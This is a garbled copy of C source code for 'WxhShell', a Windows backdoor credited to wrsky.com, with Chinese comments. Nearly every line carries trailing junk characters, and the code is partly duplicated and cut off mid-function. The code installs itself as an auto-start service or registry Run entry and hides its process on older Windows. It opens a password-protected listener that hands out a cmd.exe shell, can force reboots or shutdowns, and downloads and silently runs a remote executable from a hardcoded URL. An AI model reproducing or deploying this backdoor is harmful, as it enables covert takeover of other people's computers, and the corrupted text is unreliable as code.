    if(Boot(SHUTDOWN)) pZ)N,O3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12o6KVV^x  
    else { >XJUj4B|X  
    closesocket(wsh); 5MHc gzyp  
    ExitThread(0); w<SFs#Z  
    } ncdj/C  
    break; 'B9q&k%<  
    } /I48jO^2  
  // 获取shell 60--6n  
  case 's': { $i|d=D&t  
    CmdShell(wsh); dGG8k&  
    closesocket(wsh); SQ la]%  
    ExitThread(0); oYAHyCkVq  
    break; g@|2z  
  } IBYSI0  
  // 退出 KXT9Wt=  
  case 'x': { VM}7 ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |crm{]7X  
    CloseIt(wsh); %V|n2/O Y  
    break; :6jh*,OHZl  
    } LhCwZ1  
  // 离开 a)QSq<2*  
  case 'q': { U(:Di]>{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i9eE/ .  
    closesocket(wsh); |a!]Iqz"N  
    WSACleanup(); cD ?'lB-  
    exit(1); ^t Y _ q  
    break; ;[B-!F>  
        } H (tT8Q5i  
  } w Y=k$  
  } ymb{rKkN3  
ZVz`g]  
  // 提示信息 .&2~g A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V`m9+<.1b  
} opgNt o6$  
  } gX]ewbPDQ  
o[%\W  
  return; cRv#aV  
} oVQbc \P3  
3(`P x}  
// shell模块句柄 &AnWMFo  
int CmdShell(SOCKET sock) X16vvsjw5  
{ {ObUJ3  
STARTUPINFO si; @_0tq{  
ZeroMemory(&si,sizeof(si)); g\1|<jb3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d' l|oeS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 IRa$h>H  
PROCESS_INFORMATION ProcessInfo; NA+7ey6  
char cmdline[]="cmd"; Zp/$:ny  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ej,R:}C%`  
  return 0; 3fxcH  
} )]C(NTfxg  
q!{>Nlk  
// 自身启动模式 :!wl/X ~  
int StartFromService(void) G7%f| Y  
{ ;tC$O~X  
typedef struct .'b| pd  
{ ZF@$3   
  DWORD ExitStatus; [l}H%S   
  DWORD PebBaseAddress; r@EHn[w  
  DWORD AffinityMask; m(`O>zS  
  DWORD BasePriority; F+!9T  
  ULONG UniqueProcessId; 06z+xxCo  
  ULONG InheritedFromUniqueProcessId;  54#P  
}   PROCESS_BASIC_INFORMATION; R>B6@|}?  
3mhjwgP<nn  
PROCNTQSIP NtQueryInformationProcess; #gVWLm<  
[qU`}S2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W;?e@}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ R eX$9  
[eFJ+|U9  
  HANDLE             hProcess; 5\}E4y  
  PROCESS_BASIC_INFORMATION pbi; 5A+@xhRf  
-$$mrU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "^)GnK +-  
  if(NULL == hInst ) return 0; t N4-<6  
k *D8IB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,(&Fb~r]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zv(6VVj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2R W~jn"  
w c  
  if (!NtQueryInformationProcess) return 0; q]U!n  
m\70&%v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L1f=90  
  if(!hProcess) return 0; 33&l.[A"!}  
x~=Mn%Ew0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qq'e#nI@  
_mJhY0Oc  
  CloseHandle(hProcess); =R"LB}>h}  
j{D tjV8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4o"?QV:  
if(hProcess==NULL) return 0; t+K1ArQc  
_%Yi ^^  
HMODULE hMod; `"hWbmQ  
char procName[255]; 5nTcd@lX  
unsigned long cbNeeded; CM%;/[WBxy  
Q @[gj:w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I9m9`4BK  
q|0l>DPRp  
  CloseHandle(hProcess); 0+u >"7T  
[!MS1v c;  
if(strstr(procName,"services")) return 1; // 以服务启动 KuW>^mF(I  
"n)AlAV@  
  return 0; // 注册表启动 +25=u|#4r  
} Bl^ BtE?-b  
b- bvkPN  
// 主模块 v??$z#1F3  
int StartWxhshell(LPSTR lpCmdLine) i=1crJ:  
{ Sk)lT^by  
  SOCKET wsl; Z} t^i^u  
BOOL val=TRUE; e]CoYuPr  
  int port=0; 7WUv  O  
  struct sockaddr_in door; .<Jv=  
z"mpw mv5  
  if(wscfg.ws_autoins) Install(); ^b}Wl0Fn  
3o0ZS^#eB  
port=atoi(lpCmdLine); TI\xCIH  
S4?WR+:h  
if(port<=0) port=wscfg.ws_port; 0igB pHS  
L[A?W  
  WSADATA data; u~2]$ /U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t%J1(H  
~MXhp5PI   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8qaU[u&$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WUo\jm[yr  
  door.sin_family = AF_INET; bM5o-U#^ C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;<thEWH;Y  
  door.sin_port = htons(port); k#u)+e.'  
O|)b$H_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nm& pn*1  
closesocket(wsl); v;U5[  
return 1; E/*&'Osq  
} .Gvk5Wn  
psc Fb$b  
  if(listen(wsl,2) == INVALID_SOCKET) { ("r:L<xe&  
closesocket(wsl); |$e'y x6j  
return 1; =6O*AJ  
} $evuL3GY#  
  Wxhshell(wsl); 6>)nkD32g  
  WSACleanup(); ^]'_Qbi]}  
>KvK'Mus/  
return 0; #p55/54ZI  
%''L7o.#a  
} KX 7 fgC  
5ya^k{`+ZO  
// 以NT服务方式启动 v3FdlE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QIlZZ  
{ )wCNLi>4  
DWORD   status = 0; j*Pq<[~  
  DWORD   specificError = 0xfffffff; hV0fkQ.|  
Ox&G  [  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a!-J=\>9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <F(2D<d{;)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vNrn]v=|}7  
  serviceStatus.dwWin32ExitCode     = 0; #0Y_!'j  
  serviceStatus.dwServiceSpecificExitCode = 0; %lWOW2~R  
  serviceStatus.dwCheckPoint       = 0; n*A1x8tn  
  serviceStatus.dwWaitHint       = 0; 6hv.;n};  
>5:O%zQ@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !khEep}  
  if (hServiceStatusHandle==0) return; {, +c  
 Owi/e  
status = GetLastError(); _p+E(i 9  
  if (status!=NO_ERROR) b=_k)h+l  
{ RR ^7/-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rzn,N FI  
    serviceStatus.dwCheckPoint       = 0; }aR}ZzK/v  
    serviceStatus.dwWaitHint       = 0; c$71~|-[  
    serviceStatus.dwWin32ExitCode     = status; e@anX^M;  
    serviceStatus.dwServiceSpecificExitCode = specificError; \#t)B J2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y32$b,%Xi,  
    return; F]?] |nZZ  
  } vno/V#e$WX  
Wu'qpJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v[^8_y}A`  
  serviceStatus.dwCheckPoint       = 0; ){"?@1vP  
  serviceStatus.dwWaitHint       = 0; Yg3nT:K_Y&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @x+2b0 b  
} Y.]$T8  
m 0vW<  
// 处理NT服务事件,比如:启动、停止 ? \,^>4x?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PBCGC^0{  
{ u"*DI=pwb  
switch(fdwControl) /G'3!S  
{ ?`rAO#1  
case SERVICE_CONTROL_STOP: 9%iQ~   
  serviceStatus.dwWin32ExitCode = 0; Q]/%Y[%|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _7<{+Zzm  
  serviceStatus.dwCheckPoint   = 0; 60u_,@rV  
  serviceStatus.dwWaitHint     = 0; o5?Y   
  { "^\q{S&q2P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]{\ttb%GX  
  } )B0%"0?`8  
  return; DI{*E  
case SERVICE_CONTROL_PAUSE: pcwYgq#5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rt+-ud{O  
  break; m)Kg6/MV.  
case SERVICE_CONTROL_CONTINUE: C$1W+(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WJnGF3G>  
  break; ([dd)QU  
case SERVICE_CONTROL_INTERROGATE: Nb`qM]&  
  break; n%7?G=_kj  
}; ?e<2'\5v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z m$Sw0#(  
} gE#'Zv{7  
" L`)^  
// 标准应用程序主函数 daI_@kY"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j/*1zu8Y  
{ Ct w<-'  
g=56|G7n  
// 获取操作系统版本 Tz,9>uN  
OsIsNt=GetOsVer(); -9i7Ja  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @5S'5)4pB  
ujX; wGje  
  // 从命令行安装 .PUp3X-  
  if(strpbrk(lpCmdLine,"iI")) Install(); - |g"q|  
r@{TN6U  
  // 下载执行文件 E>|X'I?r^  
if(wscfg.ws_downexe) { wgS,U }/i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @a?7D;+<  
  WinExec(wscfg.ws_filenam,SW_HIDE); w31Ox1>s  
} rTIu'  
0+*NHiH  
if(!OsIsNt) { YOD.y!.zq7  
// 如果时win9x,隐藏进程并且设置为注册表启动 -V|"T+U  
HideProc(); Kf[d@ L  
StartWxhshell(lpCmdLine);  S=(O6+U  
} E5bVCAz  
else lb-1z]YwQ  
  if(StartFromService()) &Vz$0{d5  
  // 以服务方式启动 TJO$r6&  
  StartServiceCtrlDispatcher(DispatchTable); tX{yR'Qhu  
else ##7y|AwK  
  // 普通方式启动 YB5"i9T2  
  StartWxhshell(lpCmdLine); _5jT}I<k  
ixd sz\<  
return 0; J~k9jeq9  
} F~mIV;BP  
e"nm<&  
(jM0YtrD  
MEiP&=gX!  
=========================================== +(3_V$|Dv  
D(AH3`*|#  
7MKX`S  
M6)  G_-  
-Uwxmy+  
w7V\_^&Id  
" { qNPhi  
AI-*5[w#A  
#include <stdio.h> E#B-JLMGl  
#include <string.h> *2G6Q g F  
#include <windows.h> {{?g%mQ6  
#include <winsock2.h> ^,>w`8  
#include <winsvc.h> .,bpFcQ  
#include <urlmon.h> \#{PV\x:Nn  
;)(g$r^_i  
#pragma comment (lib, "Ws2_32.lib") k6(7G@@}  
#pragma comment (lib, "urlmon.lib") HZyA\FS  
k{}> *pCU  
#define MAX_USER   100 // 最大客户端连接数 1qRquY  
#define BUF_SOCK   200 // sock buffer 4<y   
#define KEY_BUFF   255 // 输入 buffer e8F]m`{_"  
|kYlh5/c d  
#define REBOOT     0   // 重启 9L=mS  
#define SHUTDOWN   1   // 关机 q&3 ;e4  
53HA6:Q[  
#define DEF_PORT   5000 // 监听端口 EuK}L[Kl  
?[ xgt )  
#define REG_LEN     16   // 注册表键长度 S /hx\TzC  
#define SVC_LEN     80   // NT服务名长度 B/twak\  
(Rw<1q`,  
// 从dll定义API p}1i[//S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uUH4vUa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v"USD<   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hsC T:1i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e97G]XLR  
Pq;OShU_  
// wxhshell配置信息 QL?_FwZL  
struct WSCFG { Ipp_}tl_  
  int ws_port;         // 监听端口 -'! J?~  
  char ws_passstr[REG_LEN]; // 口令 `Ij@;=(  
  int ws_autoins;       // 安装标记, 1=yes 0=no d54iZ`  
  char ws_regname[REG_LEN]; // 注册表键名 W0qR? jc  
  char ws_svcname[REG_LEN]; // 服务名 ?:(y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Yj1Etq.E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 to={q CqU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;J%:DD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  :Sq] |)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2|nm> 4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 po| Ux`u  
bJ ~H  
}; 1- 2hh)  
@-U\!Tf  
// default Wxhshell configuration ZT0\V ]!B  
struct WSCFG wscfg={DEF_PORT, OUX7 *_  
    "xuhuanlingzhe", r/YJ,2!  
    1, O2w-nd74U  
    "Wxhshell", O'<V[Y} 6  
    "Wxhshell", h0{X$&:  
            "WxhShell Service", %w`d  
    "Wrsky Windows CmdShell Service", slQn  
    "Please Input Your Password: ", ~k"+5bHa*  
  1, TEtmmp0OD  
  "http://www.wrsky.com/wxhshell.exe", WtT;y|W  
  "Wxhshell.exe" E&M(QX5  
    }; *dl hRa  
D6"=2XR4n  
// 消息定义模块 p.DQ|?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <kh.fu@.Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1"h"(dA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {,>G 1>Yv  
char *msg_ws_ext="\n\rExit."; R9J!}az'  
char *msg_ws_end="\n\rQuit."; BU`X_Z1)  
char *msg_ws_boot="\n\rReboot..."; +QChD*  
char *msg_ws_poff="\n\rShutdown..."; Gm~([Ln{  
char *msg_ws_down="\n\rSave to "; M0V<Ay\%O  
.u-a+ac<  
char *msg_ws_err="\n\rErr!"; 0vY_  
char *msg_ws_ok="\n\rOK!"; m1$tf ^  
D"7}&Ry:  
char ExeFile[MAX_PATH]; Oa|c ?|+  
int nUser = 0; s9 - qR_  
HANDLE handles[MAX_USER]; [doEArwn  
int OsIsNt; TnrBHaxbo4  
.-gJS-.c  
SERVICE_STATUS       serviceStatus; HsY5wC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X8C7d6ca  
Jf YgZ\#  
// 函数声明 K;F1'5+=D  
int Install(void);  a_?sJ  
int Uninstall(void); gx&es\  
int DownloadFile(char *sURL, SOCKET wsh); 6v`3/o  
int Boot(int flag); \!u<)kkyT  
void HideProc(void); V_7\VKR  
int GetOsVer(void); c_8&4  
int Wxhshell(SOCKET wsl); I}C2;[aB  
void TalkWithClient(void *cs); .j}]J:{%  
int CmdShell(SOCKET sock); K_i|cYGV  
int StartFromService(void); %>KbaM1b  
int StartWxhshell(LPSTR lpCmdLine); >0^<<=m  
">V1II 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MN?aPpr>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qBEp |V  
wgl<JO  
// 数据结构和表定义 `TBXJ(Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ASqYA1p.  
{ b:==:d:0s  
{wscfg.ws_svcname, NTServiceMain}, mjeJoMvN)H  
{NULL, NULL} J%"BCbxW~B  
}; t.P@Ba^  
lQ 8hY$  
// 自我安装 +O}Ik.w  
int Install(void) C`5'5/-.  
{ ] !/  
  char svExeFile[MAX_PATH]; .}IW!$ dq  
  HKEY key; ,#Z%0NLe  
  strcpy(svExeFile,ExeFile); +B*]RL[th  
$/wm k7T  
// 如果是win9x系统,修改注册表设为自启动 omE- c  
if(!OsIsNt) { !M^O\C)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 10S I&O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t2[/eM.G  
  RegCloseKey(key); b\P:a_vq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D<WnPLA$g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fyQOF ItM  
  RegCloseKey(key); >|taU8^|G}  
  return 0; gd;!1GNi]  
    } ';C'9k<P:  
  } ,`geOJn'  
} {JE [  
else { ;cMQ 0e  
VbX P7bZ  
// 如果是NT以上系统,安装为系统服务 juF9:Eah  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u/=hueR<^  
if (schSCManager!=0) ~ZKJ:&f  
{ lV\iYX2#  
  SC_HANDLE schService = CreateService EGXvz)y  
  ( (*S<2HN5  
  schSCManager, E)-;sFz  
  wscfg.ws_svcname, 9$)&b\D  
  wscfg.ws_svcdisp, 4*XNk;Dx  
  SERVICE_ALL_ACCESS, }UPC~kC+Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xm#W}Y'  
  SERVICE_AUTO_START, \U:OQ.e  
  SERVICE_ERROR_NORMAL, qo [[P)tq  
  svExeFile, Pe<VPf9+  
  NULL, Wga2).j6  
  NULL, #`iEbiSq  
  NULL, qPDNDkjDD  
  NULL, T]th3*  
  NULL *w0!C:mL&  
  ); yCQvo(V[F  
  if (schService!=0) $hm[x$$  
  { ;\K]~  
  CloseServiceHandle(schService); x?S86,RW  
  CloseServiceHandle(schSCManager); hF'VqJS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m.lR]!Y=w  
  strcat(svExeFile,wscfg.ws_svcname); ?lC>E[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VeQGdyhY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }O\IF}X  
  RegCloseKey(key); _r:Fmn_%-  
  return 0; )+N{D=YM  
    } k8?._1t  
  }  }u8(7  
  CloseServiceHandle(schSCManager); h$8h@2%  
} TtkHMPlm_  
} (WHg B0{  
9~hW8{#  
return 1; F\eQV<  
} Z@s[8wrmPl  
m!ZY]:)$  
// 自我卸载 t?"(Zb  
int Uninstall(void) }uma<b  
{ fXMY.X>f  
  HKEY key; F^GNOD3J  
-))S  
if(!OsIsNt) { +zh\W9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4aArxJ  
  RegDeleteValue(key,wscfg.ws_regname); 35l%iaj]G5  
  RegCloseKey(key); kWW2N0~$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DQGrXMpV0  
  RegDeleteValue(key,wscfg.ws_regname); q8P&rMwy  
  RegCloseKey(key); {&+M.Xn  
  return 0; X):7#x@uy  
  } NVRzthg%c_  
} sSU|N;"Y  
} /3M8 ;>@u  
else { \-yI dKj  
*QQeK# $s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vv.E6D^x(  
if (schSCManager!=0) *47/BLys<  
{ Ba[,9l[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j&X&&=   
  if (schService!=0) loIb}8  
  { D% jGK  
  if(DeleteService(schService)!=0) { Il [~  
  CloseServiceHandle(schService); ah*{NR)  
  CloseServiceHandle(schSCManager); TVNgj.`+u!  
  return 0; hEHd$tH06  
  } Ry >y  
  CloseServiceHandle(schService); B>nj{W<o  
  } 8xENzTR  
  CloseServiceHandle(schSCManager); / <)Vd  
} P<IDb%W  
} %M`48TW)  
F q~uuQ  
return 1; !'H$08Ql}  
} LWCFCkx%  
i2Wvu3,D3-  
// 从指定url下载文件 \96\!7$@O  
int DownloadFile(char *sURL, SOCKET wsh) R `ViRJh  
{ O q$_ q  
  HRESULT hr; 0BDw}E\  
char seps[]= "/"; %[|^7  
char *token; O2>c|=#  
char *file; E[t0b5h  
char myURL[MAX_PATH]; Imv#7{ndq  
char myFILE[MAX_PATH]; ir<e^a  
fk ,Vry  
strcpy(myURL,sURL); &Pb:P?I  
  token=strtok(myURL,seps); FGi7KV=N  
  while(token!=NULL) GqHW.s5  
  { 3SIq od;%  
    file=token; yD~,+}0)  
  token=strtok(NULL,seps); $~1vXe  
  } C7S\4rDJ  
AY5iTbL1  
GetCurrentDirectory(MAX_PATH,myFILE); 'TS_Am?o  
strcat(myFILE, "\\"); ?5EH/yV;  
strcat(myFILE, file); >g<Y H'U{  
  send(wsh,myFILE,strlen(myFILE),0); _f0AV;S:vd  
send(wsh,"...",3,0); YTa g|If  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gl+d0<R zw  
  if(hr==S_OK) y2I7Zd .  
return 0; XY| y1L 3[  
else l$/pp  
return 1; aB6xRn9  
]i#p2?BR  
} B`mJT*B[  
@F 5Af/  
// 系统电源模块 83c2y;|8  
int Boot(int flag) &MSU<S?1  
{ ZHK>0>;  
  HANDLE hToken; 5z_d$.CIc  
  TOKEN_PRIVILEGES tkp; i"G'#n~e  
_P.I+!w:x  
  if(OsIsNt) { 2#7|zhgb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZwDL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AI2XNSV@Yl  
    tkp.PrivilegeCount = 1; S[K5ofV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FPYk`D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e\C-a4[C8P  
if(flag==REBOOT) {  ?CAU+/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'V7LL1K^>  
  return 0; !ekByD  
} AU\=n,K7  
else { fc+-/!v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^^V3nT2rR3  
  return 0; ts~VO`  
} D<J'\mo  
  } eJo" Z  
  else { %NQ%6 B  
if(flag==REBOOT) { 'o IE:#b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `9r{z;UQ  
  return 0; .u)KP*_  
} D;!sH?J@+  
else { *5PQ>d G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uU 7 <8G  
  return 0; rL-R-;Ca  
} DKS1Sm6d0  
} ~5HT _B U=  
dCoP qKy  
return 1; \na$Sb+  
} 9Q1%+zjjMq  
ZhY{,sy?QO  
// win9x进程隐藏模块 L"'=[O~  
void HideProc(void)  [^ }$u[  
{ !kSemDC  
o:#jvi84F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t5E$u(&+'B  
  if ( hKernel != NULL ) G %sO{k7  
  { sc]#T)xG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {O>Td9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }K)A jZ  
    FreeLibrary(hKernel); Xgx/ubca0  
  } c= t4 gf  
iOZ9A~Ywy  
return; |>(Vo@  
} 1R}9k)JQ  
2-'_Nwkl*  
// 获取操作系统版本 !U?C _  
int GetOsVer(void) ;:=j{,&dl[  
{ K ar!  
  OSVERSIONINFO winfo; 2e\"?yOD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q%G[tXw  
  GetVersionEx(&winfo); Tp-W/YC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s#5#WNzP  
  return 1; S!A:/(^WB  
  else <*J"6x  
  return 0; O h e^{:  
} h.?<( I  
}$<v  
// 客户端句柄模块 L&+k`b  
int Wxhshell(SOCKET wsl) # fF5O2E'3  
{ Y"t|0dO%b  
  SOCKET wsh; GOxP{d?  
  struct sockaddr_in client; iY`[dsT  
  DWORD myID; ,$!fyi[;C  
EJ {vJZO  
  while(nUser<MAX_USER) nP*DZC0kE&  
{ s>L-0vG  
  int nSize=sizeof(client); .~I:Hcf/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iJh{ ,0))g  
  if(wsh==INVALID_SOCKET) return 1; 9=}#.W3.  
\ 3E%6L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |d&Kr0QIV  
if(handles[nUser]==0) n=b!c@f4  
  closesocket(wsh); *As"U99(  
else <,O| fY%  
  nUser++; W ~MNst?  
  } KOR*y(*8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MX*4d{l  
0;a10b  
  return 0; IV&5a]j  
} a:P+HU:  
4NRj>y  
// 关闭 socket UK'8cz9  
void CloseIt(SOCKET wsh) I5j|\ /Ht  
{ lw8t#_P  
closesocket(wsh); <>5n;-  
nUser--; DCa=o  
ExitThread(0); 7&etnQJ{  
} F+5 5p8  
bfb9A+]3'  
// 客户端请求句柄 \*5z0A9)5)  
void TalkWithClient(void *cs) BSkmFd(*  
{ \1?'JdN  
L8E4|F}  
  SOCKET wsh=(SOCKET)cs; I<W<;A  
  char pwd[SVC_LEN]; Wt5pK[JV  
  char cmd[KEY_BUFF]; 18~jUYMV  
char chr[1]; Cw!tB1D  
int i,j; wg k[_i  
7<:o4\q?m  
  while (nUser < MAX_USER) { L09r|g4Z  
AH#a+<;a  
if(wscfg.ws_passstr) { WOgkv(5KN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lf.Ia *R:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #$ka.Pj  
  //ZeroMemory(pwd,KEY_BUFF); %IIFLlD  
      i=0; Rc93Fb-Zp  
  while(i<SVC_LEN) { N.|zz)y  
s,mt%^x[  
  // 设置超时 "Qc4v@~)  
  fd_set FdRead; ;*Mr(#R  
  struct timeval TimeOut; CZ^ ,bad  
  FD_ZERO(&FdRead); a&kt!%p:  
  FD_SET(wsh,&FdRead); h8k\~/iJ  
  TimeOut.tv_sec=8; p")"t`k7  
  TimeOut.tv_usec=0; `Y!8,( 5#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~4#D G^5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]l=CiG4!M  
+s7w@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|P :n'  
  pwd=chr[0]; h*hkl#  
  if(chr[0]==0xd || chr[0]==0xa) { }YiFiGf,  
  pwd=0; 19[.&-u"  
  break; '19?  
  } 5|}u25J  
  i++; i}f"'KW  
    } tr A ^JY  
wrJ" (:VZ  
  // 如果是非法用户,关闭 socket p? w^|V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A*|\E:fo  
} "fN 6_*  
B<.ZW}#v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AnE] kq u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8F$]@0v`%  
BNO+-ob-  
while(1) { Gy6x.GX  
WXf[W  
  ZeroMemory(cmd,KEY_BUFF); szqR1A  
%n,_^voE  
      // 自动支持客户端 telnet标准   yr.sfPnJK  
  j=0; %Yg|QBm|  
  while(j<KEY_BUFF) { W%MS,zkAE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {g4w[F!77  
  cmd[j]=chr[0]; 6 !Mm")  
  if(chr[0]==0xa || chr[0]==0xd) { X #$l7I9H  
  cmd[j]=0; `4Fw,:+e  
  break; NE &{_i!  
  } (b1e!gJpy  
  j++; c:B` <  
    } )g^O'e=m  
L@?3E`4/v  
  // 下载文件 w)R5@ @C*  
  if(strstr(cmd,"http://")) { UQP>yuSx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yKz%-6cpSl  
  if(DownloadFile(cmd,wsh)) g^jTdrW/s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,nV4%Aa  
  else Z(LTHAbBk|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(2ZJn13f  
  } N&$ ,uhmO  
  else { lPtML<a  
eq<!  
